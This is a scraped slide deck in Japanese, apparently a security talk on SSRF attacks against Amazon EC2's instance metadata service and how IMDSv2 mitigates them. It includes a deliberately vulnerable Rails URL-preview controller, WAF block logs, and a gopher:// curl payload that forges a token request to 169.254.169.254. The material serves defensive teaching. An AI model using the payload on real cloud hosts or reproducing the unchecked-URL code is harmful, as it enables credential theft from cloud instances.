Embed presentation

















![mod_securityがブロックしていたApache-Error: [file "apache2_util.c"] [line 273] [level 3] [client 221.246.230.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^[d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [rev "2"] [msg "Host header is a numeric IP address"] [data "169.254.169.254"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/2005.01.hackerbasher.aspx"] [hostname "169.254.169.254"] [uri "http:/169.254.169.254/"] [unique_id "XkKBvsG@i7@6ZJTFMv@7yAAAAAA"]© 2020 Hiroshi Tokumaru 18HostヘッダがIPアドレス](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-18-2048.jpg&f=jpg&w=240)


![AWS-CLIを素の環境にインストールしてクレデンシャルをセット$ # AWS-CLI をインストール$ mkdir ~/.aws; cd ~/.aws$ vi ~/.aws/credential$ cat ~/.aws/credential[ssrf]aws_access_key_id = ASIAXXXXXXXXXXXXXXXDaws_secret_access_key = N1XZ6XXXXXXXXXXXXXXXXXXXXXXXXaws_session_token = "IQoJb3JpZ2luX2VjEXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX…XXXXXXXXXXXX="© 2020 Hiroshi Tokumaru 21](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-21-2048.jpg&f=jpg&w=240)











![プレビュー機能でのSSRF攻撃© 2020 Hiroshi Tokumaru 33はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを表示するというもの(Ruby on Rails)。題して「派手なブックマーク」class BookmarkController < ApplicationControllerdef indexc = Curl::Easy.new(params[:url])c.follow_location = truec.http_gets = c.body_strs.force_encoding("UTF-8");render html: Sanitize.clean(s, Sanitize::Config::RELAXED).html_safeendend※ 本サンプルはスキームやURLのチェックを一切行っていないため、SSRF脆弱有害なタグを取り除く処理](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-33-2048.jpg&f=jpg&w=240)


![mod_securityがブロックしていたMessage: Access denied with code 403 (phase 2). Pattern match "^(?i)(?:ht|f)tps?://(d{1,3}.d{1,3}.d{1,3}.d{1,3})" at ARGS:url. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "154"] [id "950117"] [rev "2"] [msg "Remote File Inclusion Attack"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/RFI"]© 2020 Hiroshi Tokumaru 36URLがRFI (Remote File Inclusion)のルールに抵触](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-36-2048.jpg&f=jpg&w=240)





![GopherでHTTPをエミュレートできる• 以下を実行すると…$ curl gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2-metadata-token-ttl-seconds:%203600%0D%0A%0D%0A• 以下が169.254.169.254に送信されるPUT /latest/api/token HTTP/1.1 [改行]Host: 169.254.169.254 [改行]X-aws-ec2-metadata-token-ttl-seconds: 3600 [改行][改行]• GopherプロトコルでPUTメソッドとカスタムヘッダを実現できる© 2020 Hiroshi Tokumaru 42](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-42-2048.jpg&f=jpg&w=240)

![URLのスキームをバリデーションすれば?© 2020 Hiroshi Tokumaru 44def indexurl = params[:url]uri = URI.parse(url)if uri.scheme != 'http' && uri.scheme != 'https'render html:'Invalid scheme'+ uri.schemereturnendc = Curl::Easy.new(url)# 以下略※ スキームをHTTPおよびHTTPSのみ許可する](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-44-2048.jpg&f=jpg&w=240)







The document discusses an SSRF attack on Amazon EC2 Instance Metadata Service (IMDS) version 1. It describes how IMDSv1 could be accessed from outside the instance by exploiting vulnerabilities in a web application firewall (WAF). The attack allowed accessing credentials of an IAM role that had permissions to an S3 bucket storing personal information. To mitigate such risks, Amazon introduced IMDSv2, which the document then explains can still be bypassed using techniques like the Gopher protocol. It concludes by emphasizing the need for organizations to strengthen defenses against SSRF attacks.
Discussion on SSRF countermeasures introduced by IMDSv2 by Hiroshi Tokumaru. Overview of Instance Metadata Service (IMDS) and its access mechanisms.
Overview of the Capital One data breach involving personal data leakage caused by SSRF due to WAF misconfiguration, affecting over 100 million users.
Details on how a vulnerable WAF was configured, resulting in SSRF attacks, including accessing IMDS and IAM role credentials.
Explanation of IMDSv2, focusing on features like token requirements, security improvements, and its effectiveness against SSRF attacks.
Description of SSRF vulnerabilities in a bookmark application preview feature and testing against IMDSv1 and IMDSv2.
Explanation of the Gopher protocol's capability to bypass IMDSv2 protections and secure tokens, illustrating complex attack vectors.
Recommendations for securing network access, including disabling IMDS when not needed and implementing firewalls to block unwanted access.

















![mod_securityがブロックしていたApache-Error: [file "apache2_util.c"] [line 273] [level 3] [client 221.246.230.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^[d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [rev "2"] [msg "Host header is a numeric IP address"] [data "169.254.169.254"] [severity "WARNING"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/2005.01.hackerbasher.aspx"] [hostname "169.254.169.254"] [uri "http:/169.254.169.254/"] [unique_id "XkKBvsG@i7@6ZJTFMv@7yAAAAAA"]© 2020 Hiroshi Tokumaru 18HostヘッダがIPアドレス](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-18-2048.jpg&f=jpg&w=240)


![AWS-CLIを素の環境にインストールしてクレデンシャルをセット$ # AWS-CLI をインストール$ mkdir ~/.aws; cd ~/.aws$ vi ~/.aws/credential$ cat ~/.aws/credential[ssrf]aws_access_key_id = ASIAXXXXXXXXXXXXXXXDaws_secret_access_key = N1XZ6XXXXXXXXXXXXXXXXXXXXXXXXaws_session_token = "IQoJb3JpZ2luX2VjEXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX…XXXXXXXXXXXX="© 2020 Hiroshi Tokumaru 21](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-21-2048.jpg&f=jpg&w=240)











![プレビュー機能でのSSRF攻撃© 2020 Hiroshi Tokumaru 33はてなブックマークのようなソーシャルブックマークの機能のうち、URLを指定してプレビューを表示するというもの(Ruby on Rails)。題して「派手なブックマーク」class BookmarkController < ApplicationControllerdef indexc = Curl::Easy.new(params[:url])c.follow_location = truec.http_gets = c.body_strs.force_encoding("UTF-8");render html: Sanitize.clean(s, Sanitize::Config::RELAXED).html_safeendend※ 本サンプルはスキームやURLのチェックを一切行っていないため、SSRF脆弱有害なタグを取り除く処理](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-33-2048.jpg&f=jpg&w=240)


![mod_securityがブロックしていたMessage: Access denied with code 403 (phase 2). Pattern match "^(?i)(?:ht|f)tps?://(d{1,3}.d{1,3}.d{1,3}.d{1,3})" at ARGS:url. [file "/etc/httpd/modsecurity.d/activated_rules/modsecurity_crs_40_generic_attacks.conf"] [line "154"] [id "950117"] [rev "2"] [msg "Remote File Inclusion Attack"] [data "Matched Data: http://169.254.169.254 found within ARGS:url: http://169.254.169.254/"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/WEB_ATTACK/RFI"]© 2020 Hiroshi Tokumaru 36URLがRFI (Remote File Inclusion)のルールに抵触](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-36-2048.jpg&f=jpg&w=240)





![GopherでHTTPをエミュレートできる• 以下を実行すると…$ curl gopher://169.254.169.254:80/_PUT%20/latest/api/token%20HTTP/1.1%0D%0AHost:%20169.254.169.254%0D%0AX-aws-ec2-metadata-token-ttl-seconds:%203600%0D%0A%0D%0A• 以下が169.254.169.254に送信されるPUT /latest/api/token HTTP/1.1 [改行]Host: 169.254.169.254 [改行]X-aws-ec2-metadata-token-ttl-seconds: 3600 [改行][改行]• GopherプロトコルでPUTメソッドとカスタムヘッダを実現できる© 2020 Hiroshi Tokumaru 42](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-42-2048.jpg&f=jpg&w=240)

![URLのスキームをバリデーションすれば?© 2020 Hiroshi Tokumaru 44def indexurl = params[:url]uri = URI.parse(url)if uri.scheme != 'http' && uri.scheme != 'https'render html:'Invalid scheme'+ uri.schemereturnendc = Curl::Easy.new(url)# 以下略※ スキームをHTTPおよびHTTPSのみ許可する](/image.pl?url=https%3a%2f%2fimage.slidesharecdn.com%2fintroduction-to-imdsv2-200214075008%2f75%2fSSRF-Amazon-IMDSv2-44-2048.jpg&f=jpg&w=240)





